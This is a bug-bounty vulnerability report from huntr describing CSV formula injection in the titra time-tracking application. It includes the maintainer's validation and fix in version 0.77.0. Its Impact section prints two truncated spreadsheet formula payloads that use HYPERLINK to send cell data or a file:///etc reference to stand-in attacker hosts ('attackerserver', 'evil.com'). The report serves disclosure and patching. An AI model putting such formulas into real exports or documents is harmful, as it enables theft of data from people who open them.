huntr

Formula Injection/CSV Injection due to Improper Neutralization of Formula Elements in CSV File in kromitgmbh/titra

0



✓ Valid) Reported on Jun 3rd 2022

Description

Formula Injection/CSV Injection in "Task" due to Improper Neutralization of Formula Elements in CSV File.

Proof of Concept

Click on plus track button Under the task input field enter the payloads =1+1 Now enter the work hour as 2 Then click on save

Now go to details and click on CSV and the csv will be downloaded.

Video POC

https://drive.google.com/file/d/1AqXmJpt0N5C-6saL59MKxYGLQfM3nE1u/view?usp=sharing

Impact

Successful exploitation can lead to impacts such as client-sided command injection, code execution, or remote ex-filtration of contained confidential data. On constructing the payloads as

```
=HYPERLINK(CONCATENATE("http://attackerserver:port/a.txt?v="; ('file:///etc
=HYPERLINK("http://evil.com?x="&A3&","&B3&"[CR]","Error fetching info: Clic
```



Chat with us

References

nvd

CVE

Vulnerability Type

CWE-1236: Improper Neutralization of Formula Elements in a CSV File

Severity

Registry

Affected Version

Visibility

Status

Found by

saharshtapi



master 🗸

We are processing your report and will contact the kromitgmbh/titra team within 24 hours.

We have contacted a member of the kromitgmbh/titra team and are waiting to hear back

A kromitgmbh/titra maintainer validated this vulnerability 6 months ago

Chat with us





The fix bounty is now up for grabs
The researcher's credibility has increased: +7
A kromitgmbh/titra maintainer marked this as fixed in 0.77.0 with commit e606b6 6 months ago
The fix bounty has been dropped 🗙
This vulnerability will not receive a CVE 🗶
A kromitgmbh/titra maintainer gave praise 6 months ago
Thanks for reporting this!
The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1
saharshtapi 6 months ago Researcher
@admin Can you assign CVE?
Jamie Slome 6 months ago Admin
Sorted 👍
Sign in to join this conversation
2022 © 418sec

huntr part of 418sec

Chat with us

hacktivity about
leaderboard team

FAQ
contact us
terms